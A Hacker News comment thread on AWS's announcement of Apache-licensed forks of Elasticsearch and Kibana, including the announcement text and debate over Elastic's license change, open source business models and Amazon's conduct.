BossingAround(10000) 5 days ago [-]

> What's the difference between what Amazon does with Elasticsearch vs what someone like Redhat does with the Linux kernel?

Red Hat is a top 2-4 contributor to the Linux kernel though, depending on what source (and year) you take a look (e.g. [1]).

The big difference is that Amazon doesn't contribute back. The comparison seems misguided at best.

[1] https://www.phoronix.com/scan.php?page=news_item&px=Linux-Gi...

joe433343(10000) about 6 hours ago [-]

Exactly. I was confused why the Elasticsearch blog is ranting about Amazon when the actual issue is in Elasticsearch license change which makes the source code closed which was open source.

nickjj(10000) 5 days ago [-]

Thank you for writing this up.

It kind of hit home for me because I recently had an issue with an unrelated company that has gotten 100 million+ in funding take advantage of my work by removing my name from the content, openly discredit my work under false claims and attempted to steal money from me multiple times while I've done nothing but help grow their business and ask for nothing in return other than our agreed upon compensation.

What I got from this write up is there's always going to be people and corporations out there who do their best to take advantage of you for the sake of profiting off your work using whatever means necessary, even if it's maybe illegal. I pity companies like this, especially the people who are making the decisions because that's the legacy they are leaving behind and if they happen to have children, they are probably forcing that mindset onto them as well.

newusertoday(10000) 4 days ago [-]

name them so that others are careful in dealing with them

brodouevencode(10000) 5 days ago [-]

They kinda do the same with Redis.

rsstack(10000) 5 days ago [-]

Redis itself is proper open source. There are a few modules, completely separate from the Redis code base, that aren't open source (even though Redis Labs will claim they are, like how Elastic claim Elasticsearch is open source).

The other non-open-source-but-wants-open-source-clout is Mongo.

antirez(10000) 5 days ago [-]

That's incredible. After two years and many other databases really going non opensource, Redis, the only one that really stayed BSD, is still victim of this misinformation that claims it is no longer open source. Folks, we are supposed to be a bit more informed than the average person here. We can do a little better.

jrochkind1(10000) 5 days ago [-]

I have never seen the Redis maintainer(s) complain about it though.

Would be interesting to compare/contrast, what leads to the difference.

They do the same with lots of products really. Postgres and MySQL too for instance. Also never seen postgres or mysql maintainance teams complain about it.

What are the contextual differences that make it a point of conflict with authors/maintainers in one case but not others?

ddevault(10000) 5 days ago [-]

Elastic was an open source project, and now it's not. This was done because they believe it will be more profitable. It does affect you, especially if you contributed to the project, in which case they're basically spitting in your face as thanks for your hard work. This is not materially different from when Oracle infamously killed OpenSolaris, something they were rightfully crucified for by the community.

They're not wrong about Amazon misinformation, use of trademarks, and so on, and should have pursued the legal remedies for this more deeply. Called them out publically, and shamed them like this post attempts to do. But, if it didn't work, tough shit. It has nothing to do with the license. They made a contrat with their community when they choose an open source license.

>We created Elasticsearch; we care about it more than anyone else.

No, you didn't. Elasticsearch is the combined work of thousands of contributors.

Aside: using 'Free & Open' in your messaging is a pretty low move, deliberately designed to mislead users.

aprdm(10000) 5 days ago [-]

There's still an oss license elasticsearch, they packed a lot of extra features to compete with Amazon distro and that bundle has a different license

literallyWTF(10000) 5 days ago [-]

This seems really hyperbolic.





Historical Discussions: AWS announces forks of Elasticsearch and Kibana (January 21, 2021: 1290 points)

(1292) AWS announces forks of Elasticsearch and Kibana

1292 points 2 days ago by ke4qqq in 10000th position

aws.amazon.com | Estimated reading time – 7 minutes | comments | anchor

Last week, Elastic announced they will change their software licensing strategy, and will not release new versions of Elasticsearch and Kibana under the Apache License, Version 2.0 (ALv2). Instead, new versions of the software will be offered under the Elastic License (which limits how it can be used) or the Server Side Public License (which has requirements that make it unacceptable to many in the open source community). This means that Elasticsearch and Kibana will no longer be open source software. In order to ensure open source versions of both packages remain available and well supported, including in our own offerings, we are announcing today that AWS will step up to create and maintain a ALv2-licensed fork of open source Elasticsearch and Kibana.

What this means for the Open Distro for Elasticsearch community

We launched Open Distro for Elasticsearch in 2019 to provide customers and developers with a fully featured Elasticsearch distribution that provides all of the freedoms of ALv2-licensed software. Open Distro for Elasticsearch is a 100% open source distribution that delivers functionality practically every Elasticsearch user or developer needs, including support for network encryption and access controls. In building Open Distro, we followed the recommended open source development practice of "upstream first." All changes to Elasticsearch were sent as upstream pull requests (#42066, #42658, #43284, #43839, #53643, #57271, #59563, #61400, #64513), and we then included the "oss" builds offered by Elastic in our distribution. This ensured that we were collaborating with the upstream developers and maintainers, and not creating a "fork" of the software.

Choosing to fork a project is not a decision to be taken lightly, but it can be the right path forward when the needs of a community diverge—as they have here. An important benefit of open source software is that when something like this happens, developers already have all the rights they need to pick up the work themselves, if they are sufficiently motivated. There are many success stories here, like Grafana emerging from a fork of Kibana 3.

When AWS decides to offer a service based on an open source project, we ensure that we are equipped and prepared to maintain it ourselves if necessary. AWS brings years of experience working with these codebases, as well as making upstream code contributions to both Elasticsearch and Apache Lucene, the core search library that Elasticsearch is built on—with more than 230 Lucene contributions in 2020 alone.

Our forks of Elasticsearch and Kibana will be based on the latest ALv2-licensed codebases, version 7.10. We will publish new GitHub repositories in the next few weeks. In time, both will be included in the existing Open Distro distributions, replacing the ALv2 builds provided by Elastic. We're in this for the long haul, and will work in a way that fosters healthy and sustainable open source practices—including implementing shared project governance with a community of contributors.

What this means for Amazon Elasticsearch Service customers

You can rest assured that neither Elastic's license change, nor our decision to fork, will have any negative impact on the Amazon Elasticsearch Service (Amazon ES) you currently enjoy. Today, we offer 18 versions of Elasticsearch on Amazon ES, and none of these are affected by the license change.

In the future, Amazon ES will be powered by the new fork of Elasticsearch and Kibana. We will continue to deliver new features, fixes, and enhancements. We are committed to providing compatibility to eliminate any need to update your client or application code. Just as we do today, we will provide you with a seamless upgrade path to new versions of the software.

This change will not slow the velocity of enhancements we offer to our customers. If anything, a community-owned Elasticsearch codebase presents new opportunities for us to move faster in improving stability, scalability, resiliency, and performance.

What this means for the open source community

Developers embrace open source software for many reasons, perhaps the most important being the freedom to use that software where and how they wish.

The term "open source" has had a specific meaning since it was coined in 1998. Elastic's assertions that the SSPL is "free and open" are misleading and wrong. They're trying to claim the benefits of open source, while chipping away at the very definition of open source itself. Their choice of SSPL belies this. SSPL is a non-open source license designed to look like an open source license, blurring the lines between the two. As the Fedora community states, "[to] consider the SSPL to be 'Free' or 'Open Source' causes [a] shadow to be cast across all other licenses in the FOSS ecosystem."

In April 2018, when Elastic co-mingled their proprietary licensed software with the ALv2 code, they promised in "We Opened X-Pack": "We did not change the license of any of the Apache 2.0 code of Elasticsearch, Kibana, Beats, and Logstash — and we never will." Last week, after reneging on this promise, Elastic updated that same page with a footnote that says "circumstances have changed."

Elastic knows what they're doing is fishy. The community has told them this (e.g., see Brasseur, Quinn, DeVault, and Jacob). It's also why they felt the need to write an additional blustery blog (on top of their initial license change blog) to try to explain their actions as "AWS made us do it." Most folks aren't fooled. We didn't make them do anything. They believe that restricting their license will lock others out of offering managed Elasticsearch services, which will let Elastic build a bigger business. Elastic has a right to change their license, but they should also step up and own their own decision.

In the meantime, we're excited about the long-term journey we've embarked on with Open Distro for Elasticsearch. We look forward to providing a truly open source option for Elasticsearch and Kibana using the ALv2 license, and building and supporting this future with the community.

An earlier version of this post incorrectly indicated that the Jenkins CI tool was a fork. We thank @abayer for the correction.




All Comments: [-] | anchor

bww(10000) 2 days ago [-]

I have no affection for Elastic Co, but why should they sit there and let Amazon eat their lunch?

Maybe I'm forgetting something but I can't think of a single significant open source project created by Amazon. As far as I can tell they prefer to keep their differentiating services proprietary to their platform. That's about as far from open source as you can get.

There's nothing wrong with that per se, but I do think it's pretty rich that they're going to try to claim the high road in a dispute with a company that actually has created something as useful as Elasticsearch and released it as open source (with caveats, yes). It's pretty easy to be high and mighty about open source when you're on the taking side.

It seems to me that if companies like Elastic can't defend their ability to make a profit from companies like Amazon there's a good chance we're all going to miss out. I think it's pretty obvious that Amazon's not going to create the next Elasticsearch and release it as open source.

bigphishy(10000) 2 days ago [-]

amazon is eating open source, it's messed up.

kreeben(10000) 1 day ago [-]

The reason Amazon is eating Elastic's lunch though, is because Elastic offered a eat-all-you-want buffet, a decision that was applauded by people who think food should be mostly free, but they didn't expect a guest to arrive who had unlimited appetite.

They asked the guy: please sir, would you care to have just one last serving of rib-eye and then we'll offer coffee and desert and then perhaps you could leave? But they didn't leave. They just grabbed another plate full of rib-eye and told the desert people to stand down, stand by.

On the one hand you have someone who tried to make an offer nobody could refuse. On the other hand you have someone who tried to take advantage of that offer to its capacity.

If Amazon had been a small operator, perhaps even a startup, HN would be completely and 100% on their side.

joana035(10000) 2 days ago [-]

TL;DR

AGPL your software, kiddos!

SXX(10000) 2 days ago [-]

AGPL wouldn't help against AWS making money off hosted version of your software.

user5994461(10000) 2 days ago [-]

Hint for ElasticSearch: The AWS fork is hosted on github https://github.com/opendistro-for-elasticsearch

If I were working at ElasticSearch/Kibana, I would be filling a DMCA takedown on GitHub against all the offending repos.

This is how to defend your copyright and trademark.

And yes, it's getting into aggressive territory and not everybody might agree with that strategy, but that's how the game is played. It's a full on conflict and the result might very well kill elastic in the long term if no action is taken now.

nulbyte(10000) 2 days ago [-]

> This is how to defend your copyright and trademark.

The DMCA will not help you with trademark enforcement, and the license under which Amazon received ElasticSearch allows distribution of both the original and derivative works.

PradeetPatel(10000) 2 days ago [-]

>Instead, new versions of the software will be offered under the Elastic License (which limits how it can be used) or the Server Side Public License (which has requirements that make it unacceptable to many in the open source community).

I'm a bit out of the loop here, can someone please tell me why Elastic decided to enact this seemingly Anti-OSS license?

jawns(10000) 2 days ago [-]

The announcement: https://www.elastic.co/blog/licensing-change

The 'Why' behind the change: https://www.elastic.co/blog/why-license-change-AWS

tl;dr Elastic alleges that Amazon is infringing on their trademark and is offering Elastic's products as a service on AWS without being a good partner.

From Elastic's summary of the license change: 'The SSPL allows free and unrestricted use and modification, with the simple requirement that if you provide the product as a service to others, you must also publicly release any modifications as well as the source code of your management layers under SSPL.'

dboreham(10000) 2 days ago [-]

Because they want to make money?

aaronbrethorst(10000) 2 days ago [-]

I see a couple other people shared links, but for future reference, the Algolia search box at the bottom of most pages is a great way to answer these sorts of questions.

alexchamberlain(10000) 2 days ago [-]

Rightly or wrongly, they are joining a long line of OSS maintainers trying to protect themselves from the clouds profiting from them.

It seems reasonable to me at least to say: you can use this software for free, but you can't resell it. If you want professional support, please support someone who is maintaining the software.

jimmydorry(10000) 2 days ago [-]

They couldn't compete with practically free (Amazon hosting their software as a service), and allegedly Amazon weren't commiting anything back into their repo.

Elastic appeared to make their money through hosting their own instances and selling professional licenses, which Amazon was in direct competition with.

fishtoaster(10000) 2 days ago [-]

The short, charitable version:

Elastic's business model is 'make + distribute ElasticSearch for free, then offer hosted ES for money.' AWS (among others) offers hosted ElasticSearch as well - Elastic feels this isn't fair, variously because: AWS may have violated trademark by calling theirs 'Amazon Elasticsearch Service', or because AWS doesn't contribute enough to the open source development of ElasticSearch, or one of a few other grievances. So they're changing their license to one that protects against this sort of 'abuse' of the Apache license.

The less charitable version is that since Elastic's business model revolves around selling hosted ElasticSearch and AWS is outcompeting them there, they're switching to an 'Open Source, but you're not allowed to do that anymore' license. But because Elastic values the goodwill they get from being 'open source,' they're trying to convince the world that this is a principled, moral stance instead of a run-of-the-mill self-interested decision to make their business more viable.

mrskitch(10000) 2 days ago [-]

> This means that Elasticsearch and Kibana will no longer be open source software.

This is categorically not true. The source is open, and will likely always will be. It's not free for AWS going forward, however. Why is it that Amazon has such a hard time paying for stuff they use and commercialize? There's no issues here with other providers (GCP, Azure, etc.), so clearly the problem lies with them. While they're at it, they should also get off this "open and free" high horse they seem to be on. A few patches here and there don't qualify as big time contributor status. If they want to show that they're committed, how about the release their infrastructure code that runs all their services? That'd definitely go a lot further than "big bad Elastic changed their license and we're defending users." Get outta here with that nonsense, history shows otherwise with all the other tech that's been ripped off.

I also don't get all the criticism for Elastic doing this. They own the software, and they can do whatever they want. Should they have done this license from the start? Maybe, but it's not exactly easy getting a project off the ground without some way to gain attention. If you've got no users, you've got to show at least what your code is doing, and picking software licenses is not exactly a straightforward task. They changed their license to fight back, and it's entirely within their right to do so.

Hate to feel like I'm venting, but AWS is being the bully here and feigning that they're pro-user, which is frustrating to witness.

oneplane(10000) 2 days ago [-]

Just because AWS is being an asshole doesn't mean they are also completely wrong. SSPL isn't Open Source per that old definition AWS themselves points to, or the one Fedora seems to take. On the other hand, if you mean to say 'I want to be able to read the source code' then yes, we can still do that. But from a legal perspective that is not even close to the same thing.

azernik(10000) 2 days ago [-]

The source is available to look at, but the OSI certainly doesn't consider it 'open'.

lmm(10000) 2 days ago [-]

> This is categorically not true. The source is open, and will likely always will be.

The source is available but not open. Open source is a specific thing with a specific meaning, and Elastic no longer qualifies.

throwarayes(10000) 2 days ago [-]

AWS has known all along what they are doing with this OSS strategy. They are the only provider that doesn't lose by having heavily commoditized, open source backend software - they can support profitable operations at a much lower cost point than these mid-sized companies like Elastic/Mongo

Elastic, and the 'open source business model' companies certainly should have seen this coming. But the attitude in the early 2010s was 'lol open source fun, figure out business model later' and somehow VCs bit and a company like Elastic could take off. They shouldn't have been surprised.

I would rather live in a world where a mid-sized company like Elastic could thrive than an AWS monoculture. Most things Amazon make me feel icky... but I also feel like this is the reality of open source... its not really open source if it's entirely associated with one company..

redwood(10000) about 18 hours ago [-]

This comment really sums things up thank you

m00dy(10000) 2 days ago [-]

If you are Elastic, how could you compete against AWS even if it is your own software ?

crb002(10000) 2 days ago [-]

Lower cost. AWS usually has huge premiums over the raw EC2/S3/EFS costs.

mminer237(10000) 2 days ago [-]

Brand recognition should help. I also trust the original developers to build a better product than Amazon will on their fork.

Beached(10000) 2 days ago [-]

AWS is doing a terrible job with their es version. and es has aquired endgame and giving endgame away for 'free' with you purchase of es licensing, and the es stack run by es is getting a lot more attention and development that AWS version

zokier(10000) 2 days ago [-]

Don't try to compete on same market, provide differentiated offering. Focus on consultancy, custom development (plugins etc), on-prem deployments. You are the foremost experts of the software, capitalize that instead of trying to compete on ops stuff which is AWS bread and butter.

That might follow with recognition that your market might be smaller than what Elastic co has so far projected, and even it might not be enough to sustain $15B market cap, but bursting that bubble should not be all doom and gloom. Being small does not equate not being successful.

stefan_(10000) 2 days ago [-]

The AWS model isn't that they actually do novel development on this software, it's that they grab the code, add a bunch of crufty hacks to it to make it work better in their environment then sell it as a hosted version.

Think of it like the Amazon marketplace equivalent: watch for products doing well, then get the cheapest possible clone made and sell it as Amazon Basic, while harassing the original vendors of these products and promoting their own brand in search results.

retzkek(10000) 2 days ago [-]

Elastic.co has a lot of proprietary add-ons in their cloud and subscription tiers, for example machine learning, application tracing, endpoint security, threat detection, in addition to enhancements to the core software, like fine-grained access control. This is where much of their development and marketing effort goes, and is what differentiates them from others offering ES-as-a-service.

Unfortunately for them a lot of users don't need any of that, and are just fine with the formerly-OSS core.

arusahni(10000) 2 days ago [-]

I'm extremely skeptical of AWS's ability to deliver a compelling, featured ES fork up against Elastic. Unless they actively hire contributors, they're going to get lapped functionality-wise.

reducesuffering(10000) 2 days ago [-]

They are already drowning trying to support the ops load of their managed ES that is far behind Elastic's. Without a major shift in poaching Elastic employees and adding many more devs, I agree AWS doesn't currently have the ability to do this.

Disclaimer: Amazon employee

crb002(10000) 2 days ago [-]

Elastic was suing them for trademark breach. Hosting didn't bother them - it is FOSS. Lying that they were in partnership with Elastic did.

rdtsc(10000) 2 days ago [-]

That's the interesting thing to me, why they were so openly dishonest about it. https://twitter.com/Werner/status/649738362086027265

---

Introducing the Amazon Elasticsearch service, a great partnership between @elastic and #AWS

---

How was it a 'great partnership' if one side didn't even know about it...

marcinzm(10000) 2 days ago [-]

>Hosting didn't bother them - it is FOSS.

They literally changed the license to one that's only different in not allowing people to host it the way Amazon did.

jrockway(10000) 2 days ago [-]

This is an embarrassing anecdote, but I thought I'd share. I started using Elasticsearch because it showed up in the AWS console along with all the other 'Elastic' things ('Elastic Compute Cloud') and I figured it was a thing they made themselves. Only later on in the process did I realize that there was a company called Elastic that named it.

Very unfortunate. Probably a lesson about naming your company after a common English word.

dinglejungle(10000) 2 days ago [-]

The company Elastic was created 2 years after the release of ElasticSearch.

jlawer(10000) 2 days ago [-]

I really wish AWS would rename their fork. Call it something else, and just call it compatible with Elasticsearch v(FORKED_VERSION). Their continued trying to associate it to ES is causing most of the issues, and after this situation I don't think the name is a valuable as it used to be. AWS have the resources to do a nice clean re-branding as well.

I am actually quite surprised they haven't just hired a small team of core devs for it and try and out compete Elastic. The groundwork is laid, I could easily see AWS being able to maintain a 'Fast Follower' + AWS Optimisation approach and be able to offer a substantial portion of the value for a fraction of the costs. Try and pick up the open source community now while there is concerns around the license.

Additionally at this point the AWS core platform is different enough then GCP / Azure / other clouds. I imagine they could build optimisations for AWS in and be able to save costs on providing the service. (i.e. it might be worth doing some work in FPGAs / ASICs, giving faster performance while only being economical when your the scale of AWS). I kind of am surprised AWS hasn't grown to attempt to have a guiding hand over many of the open source projects that are effectively their vendors. Many projects have a handful of core contributors and a hiring a key person will ensure your able to influence development in a way that assists you (assuming it is neutral to beneficial to the project).

Edit: I should probably say I don't love the idea (morality) of the 'Fast Follower' capturing the value of an innovative project and screwing the people involved in making the project successful. However it is how competition works and how many other businesses operate in other industries. Since elastic and AWS can't seem to come to a mutually beneficial agreement, then I would prefer them to sort it out in competition.

toast0(10000) 2 days ago [-]

They could just call it Elastic Search? Because they have Elastic Compute and Elastic Load Balancers and I'm sure some more elastic bits, so Elastic Noun fits in their stable.

that_guy_iain(10000) 2 days ago [-]

> I really wish AWS would rename their fork. Call it something else, and just call it compatible with Elasticsearch v(FORKED_VERSION). Their continued trying to associate it to ES is causing most of the issues, and after this situation I don't think the name is a valuable as it used to be. AWS have the resources to do a nice clean re-branding as well.

Have you seen the names and logos for AWS services. They can't brand crap. Amazon can barely Brand anything? They got where they got via customer service not via branding. And now they're so big it doesn't matter what they do, it's got Amazon on it and we're all buying off of them anyways.

dijit(10000) 2 days ago [-]

And I, for sure, will never use them.

The AWS version of ES has been abysmal- it's only saving grace is that it's "in the ecosystem"- I was convinced by an AWS zealot on my team. Never again.

mrsuprawsm(10000) 2 days ago [-]

Personally me and my team just evaluated the AWS ES and Elastic offerings, and the AWS offering (surprisingly!) came out on top, for our use case. Better performance, better IaC support, and marginally cheaper.

Honestly I would have preferred the Elastic offering to work better, but that wasn't the case.

dawnerd(10000) 2 days ago [-]

We used to use ES, but after multiple issues with the index getting corrupt for various reasons we decided to actually save money and use Algolia (before their price structure change - now it would be more expensive). Over the last year+ we've had no issues with search or indexing.

inssein(10000) 2 days ago [-]

Might want to elaborate a bit.

It is true that from a feature point of view, Elastic's own offering wins out, but from a perspective of uptime, cost, and performance, AWS wins.

uncledave(10000) 2 days ago [-]

I'll second that. Complete pile of excrement.

Edit: See my comment further down for an extrapolation. This one lacks merit which was a bad call on my part.

core-questions(10000) 2 days ago [-]

I send about 100GB a day to Amazon ES and it works fine. I used to maintain ES 2.x and 5.x on my own and it was more work for me personally at a slight cost savings.

What has been abysmal for you? Maybe your use case is more advanced than ours, which is mainly absorbing logs from all over the place and doing the typical dashboard and alerts on them (with Grafana).

z77dj3kl(10000) 2 days ago [-]

There is an important thing that gets ignored a lot in these conversations where an organization that stewards an open-source project close-sources it.

That software grew largely because it was open-source, and it really makes a difference. It's not only those who contributed to the software and made PRs (which is sometimes a surprisingly small number of devs), but the software often only exists because it was taken up by a large number of projects that then created an ecosystem and a userbase around it.

Importantly, software is never 'finished', so when the single large company behind a popular open-source project close-sources it, it often means the end of that project as an open-source alternative. It's frustrating if for example the existence of that killer open-source project in the past stopped other projects from blossoming.

The close-sourcing of several projects has made me cautious nowadays about using software that is backed by a company that exists only around that product.

franciscop(10000) 2 days ago [-]

It is normally one of the main points I see mentioned in these conversations, specially by people going against the closing of the source, not something ignored.

humbleMouse(10000) 2 days ago [-]

Amazon, ruining everyone's favorite open source apache projects one at a time.

crb002(10000) 2 days ago [-]

Bezos is executing better than the original SAAS vendors that FOSS community editions. You want to compete with buff Jeff then make sure you support Azure/GCP too and can price below Bezos' margin above raw EC2 - usually means you have to get creative with spot instances and avoiding cross data center network.

PunchTornado(10000) 2 days ago [-]

There is something wrong in what amazon is doing. Not legally, but morally.

A giant chooses to use your open source software and undercut you by bundling it with other offerings they have. At the minimum they should collaborate with the open source devs or donate to the project.

crb002(10000) 2 days ago [-]

They breached trademark in a press release lying that they were in partnership.

__blockcipher__(10000) 2 days ago [-]

There is nothing wrong with what Amazon is doing ethically. They're creating value for their customers, and releasing open source software while doing so. Indeed it's Elastic who tried to get all the positives of open source with none of the negatives (as evidenced by them making Elasticsearch/Kibana no longer open source)

BTW, not that it's super relevant but the narrative that Amazon is driving Elastic bankrupt is farcical. Elastic pulls in $500MM in revenue and is valued at $15B+. Elastic's doing fine.

Note: One thing Amazon did do that was unethical was claim that they had 'collaborated with Elastic' when they announced AWS Elasticsearch long ago. That is indefensible. But there is nothing wrong with them forking.

plasma(10000) 2 days ago [-]

Is the crux of the issue AWS is making money off ES and not paying Elastic a royalty (because the license doesn't need it)?

mirthflat83(10000) 2 days ago [-]

If you don't want that, maybe don't open source your code with a license that allows others to do that?

rcconf(10000) 2 days ago [-]

I am so delighted to hear this. Open source wins again. Open source is the right for you to do whatever you want with the software, AND YES, that includes monetize it. I've been sitting on the sidelines reading the different perspectives, but I just cannot see how you can be on the side of Elasticsearch. How can they take all the work from the OSS community and add a clause that THEY only can monetize it? I will tell you right now, I have NO desire to ever contribute to the closed version of Elasticsearch and I will gladly jump on board and contribute to the AWS version. We are watching in real time the OSS community being degraded by these ridiculous licenses.

The greed here is on Elasticsearch and not on AWS. If you wanted to have a closed source piece of software that you have the only rights to monetize, then you should have closed it off from the beginning instead of taking all the work from the OSS community and giving the rights for ONLY you to monetize it.

annilt(10000) 2 days ago [-]

So after witnessing all these problems, more projects will start closed source or with restrictive licenses(GPLs) instead of OSS or more permissive licenses. This is how OSS community is being degraded. A few tech giants are disrupting entire OSS community. It may be legal/morally ok(or not I dont care) for AWS to do this but it is for sure we'll have less OSS because of this.

mytherin(10000) 2 days ago [-]

I'm really confused by your perspective. How is this a win for open source? A big open source project has just shifted away from open source to protect their revenue stream, and now serves as (yet another) warning against other companies to open source their code because Amazon will eat your lunch.

No matter what you believe is right I fail to see how events such as this are anything but bad for open source. This will directly lead to fewer companies working on open source code, fewer jobs available writing open source code, and fewer code being available outside of the closed-source moats of tech giants for smaller companies to use.

kemitchell(10000) 2 days ago [-]

If all you want is Apache 2.0 Elasticsearch, period, there isn't really much good news here. Amazon declared an intention to compete with Elastic NV. But the race hasn't even started yet. It remains to be seen whether Amazon's fork will keep up, whether the forks will remain compatible, whether they'll both last, long-term.

Whatever happened to that pure-AGPL fork of MongoDB?

myth_buster(10000) 2 days ago [-]

There behavior with Elasticsearh [0] seems similar to what they did to sellers with Amazon Choice and their other knockoffs [1].

> When Amazon announced their Open Distro for Elasticsearch fork, they used code that we believe was copied by a third party from our commercial code and provided it as part of the Open Distro project. We believe this further divided our community and drove additional confusion.

> Recently, we found more examples of what we consider to be ethically challenged behavior. We have differentiated with proprietary features, and now we see these feature designs serving as 'inspiration' for Amazon, telling us their behavior continues and is more brazen. NOT OK.

0: https://www.elastic.co/blog/why-license-change-AWS

1: https://archive.is/9TIu6

t0mas88(10000) 2 days ago [-]

Elastic tried to use open source as marketing and then cripple the open source version by making things like access control and encryption only available in their non-open source version. That's of course completely within their rights, but you can't complain if AWS recognises these things as important to their customers and adds them to their version. It's nice of AWS to open source that, they wouldn't even have to do that according to the license.

xyzelement(10000) 2 days ago [-]

This may sound heretical but the idea of open sourcing commercial offerings always seemed like bad business to me. We are seeing it come to roost now with cloud providers selling a more desirable version of an open source platform that the makers of the platform.

If you strip everything down to first principles, you get paid because you have a valuable asset. That asset may be your skill, your time, a piece of land, a patent, etc. With open source, you give away your key asset and then you have nothing except the wish and hope that nobody takes it and eats your lunch with your own fork. Which is clearly what is happening in this case.

I am all for things being done as open source because you believe in the freedom of it, or it's fun for you, but it seems like a really bad way of getting programmers and businesses paid, if you're into that sort of thing.

ignoramous(10000) 2 days ago [-]

Yes, F/OSS works great for your core product's complements, and not necessarily for the core product itself.

https://www.gwern.net/Complement

turbinerneiter(10000) 2 days ago [-]

Wow, just wow. They think they are the good guys. Incredible.

parasubvert(10000) 2 days ago [-]

Because, they are are the good guys? At least if you believe in open source, not the fake stuff that Elastic is peddling.

bane(10000) 2 days ago [-]

This is really clearly a case of Elastic wanting to have its cake and eat it too but also of the existential challenge that faces the open source community -- how do developers of open source software pay to keep the lights on?

There's a bit of a myth that OSS is lots and lots of volunteers spending their free-time to contribute bits of code here and there. But the reality is that most of the current major open source projects are all basically corporately sponsored. It's not the Cathedral and the Bazaar, it's the Cathedral and the anchor tenants at the local mall. And they're all contributing funds to build the Christmas display and Take-pictures-with-Santa spot near the fountains. It's open to the public, but the moment somebody starts busing in hundres of tourists they get upset.

Chris2048(10000) 1 day ago [-]

> How do developers of open source software pay to keep the lights on

How about a non-commercial-use licence (or one that applies to smaller businesses only), and then offer commercial licenses for payment?

Ok, it's complex b/c some large biz might not get a lot of revenue out of it, but seems like a good system to me.

kotxig(10000) 2 days ago [-]

Elastic made the mistake of building a whole business on open source software by relying on the poor experience and artificial overhead to launching that software independently and in a production ready fashion. It's no surprise then that people in the community identify that this value is somewhat artificial. If you bridge that gap (either cloud providers providing it or someone contributes containerized/terraformed single deployment scripts), the value of having someone navigate the artificial complexity for you vanishes, and thus the value to the customer.

You have to question what value Elastic is offering its customers on top of the opensource project. Why is it that people complain about AWS devaluing the commercial services of Elastic but none of you complain about opensource devaluing the development of code in general. I can't for the life of me find a job that pays to write a new framework or some piece of interesting software because opensource completely devalues code. I think the proliferation of opensource is probably worse than some of you imagine. I'm not writing any opensource that isn't sponsored because I refuse to spend my time devaluing software development. The vast majority of the profits from opensource all end up in the hands of massive tech companies anyway. If we could skew the commercial advantages to the developer our industry would be a lot more pleasant.

aaron42net(10000) 2 days ago [-]

Not much value at all, from my experience.

Having given Elastic's support two tries at different companies, it doesn't surprise me that their business model is failing. Their support was _terrible_ both times; at no point were we ever in touch with anyone who seemed like they understood the product, cared about our issues, or were in any hurry to fix them. We were locked in year long, 6-figure support contracts in both cases, and issues dragged on for months until we basically gave up. We got better answers out of random Google searches and a 20 minute conversation with a friend of a friend.

AWS's hosted ElasticSearch only recently is able to handle the data set sizes we were dealing with, and their enterprise support on this (and other products) is vastly better than anything we ever got out of Elastic.

teruakohatu(10000) 2 days ago [-]

> Elastic made the mistake of building a whole business on open source software by relying on the poor experience and artificial overhead to launching that software independently and in a production ready fashion

It's a billion dollar business. I don't think they have made any mistakes, until now at least. They are very successful.

They are portraying themselves as a small indie dev up against a titan, but with over $400 million in revenue last year they are no small fish.

swuecho(10000) 2 days ago [-]

> relying on the poor experience and artificial overhead to launching that software independently and in a production ready fashion.

I feel elastic stack work against developer too. Not a good sign for open source product.

alexchantavy(10000) 2 days ago [-]

Are you saying that most software engineering jobs in your experience are about integrating existing projects rather than building anything interesting?

nine_k(10000) 2 days ago [-]

Here comes the difference between GPL / AGPL and dual licensing, and the easy BSD / MIT licenses.

Linux is GPL2, and there can't be a closed-source fork. FreeBSD is BSD, and see how widespread it is, in comparison.

jehb(10000) 2 days ago [-]

> I can't for the life of me find a job that pays to write a new framework or some piece of interesting software because opensource completely devalues code.

Could you put some more color around this part? I don't understand the argument you're making here. It sounds like you're arguing that there's not market demand for the thing you'd like to be paid to make because it already exists and that the version that exists is open source. How is that any different than if the thing you'd like to make is under a proprietary license but at a price point you are unable to compete with?

Disclosure: My entire career in the software industry has been at companies who pay people to write software that is made available under open source licenses. Whether or not there is demand for a new thing to be created has proven independent of the license on that thing. We create and support software that meets our customer's needs, give them a path to easily extending functionality with hiring a whole development team, and indemnify them from the risk of consuming potentially insecure, unsupported software in critical production environments. Open source is a software development model, not a business model. Providing customer value is a business model, and it's rather independent of the license underneath.

fctorial(10000) 2 days ago [-]

If open source weren't a thing, software development would be much bigger pain than it is now. If something goes wrong in the code you're using, you can look into the source and at the very least implement a hack if you can't change the base. All that goes out the window with open source if you throw it away.

Also, software developers would be much more rare since the cost of learning would've been much higher.

throwarayes(10000) 2 days ago [-]

I think nothing makes this point better that their current business model (cloud hosting) is based on an acquisition. They had to acquire a business model...

I have a lot of empathy for Elastic here, it really sucks to see something you build being eaten by the 800 lb ruthless Amazon gorilla. But you can't have a company that starts with a bunch of OSS devs saying 'open source lols' and somehow VCs throw money at it.

r-w(10000) 2 days ago [-]

Then how do you explain how it literally worked just fine until Amazon came along?

sandGorgon(10000) 2 days ago [-]

The issue here is that it's quite impossible to compete with AWS if it offers even an inferior version of a service.

Because of network egress pricing.

You are most likely on AWS already. And even if elastic offers a 2x better product at 1/2 the price, your cost of traffic for an external service will easily 4x versus using AWS services. And that's really the frustration for these service providers.

You can NEVER compete. Ever. Against an equivalent service offered by AWS because the egress pricing acts as a pricing barrier.

ayush--s(10000) 2 days ago [-]

This is quite true. Right now we are working to move our $(msg queue software) from $(one of its market leaders) to AWS's in-house offering, because the network transfer cost is twice the cost of our subscription on the $(one of its market leaders).

pradn(10000) 2 days ago [-]

And there's not a way to remove the egress pricing moat because it's so natural. Of course it costs less money to move data within a datacenter than outside of it. So, why wouldn't it cost less to do everything inside AWS? Egress pricing is probably multiples of this actual discrepancy to erect the moat even deeper.

It really does feel hopeless to run an open-source service that isn't running on an existing crowd. Perhaps that's one reason Snowflake is doing well.

boulos(10000) 2 days ago [-]

Disclosure: I work on Google Cloud.

Just to clarify, AWS has a feature called PrivateLink [1] that charges $.01/GB transferred between a Service provider and the end customer (I thought there was a free variant for same AZ, but I seem to be wrong about that).

We offer a similar feature called VPC Peering, and in particular Private Service Access [2]. Because we can be sure that the traffic is in the same Zone (or not), talking to a third-party service in the same Zone does not incur egress charges.

But did you mean this $.01/GB or were you thinking of VM <=> Internet / External IP pricing?

[1] https://aws.amazon.com/privatelink/

[2] https://cloud.google.com/vpc/docs/configure-private-services...

hodgesrm(10000) 2 days ago [-]

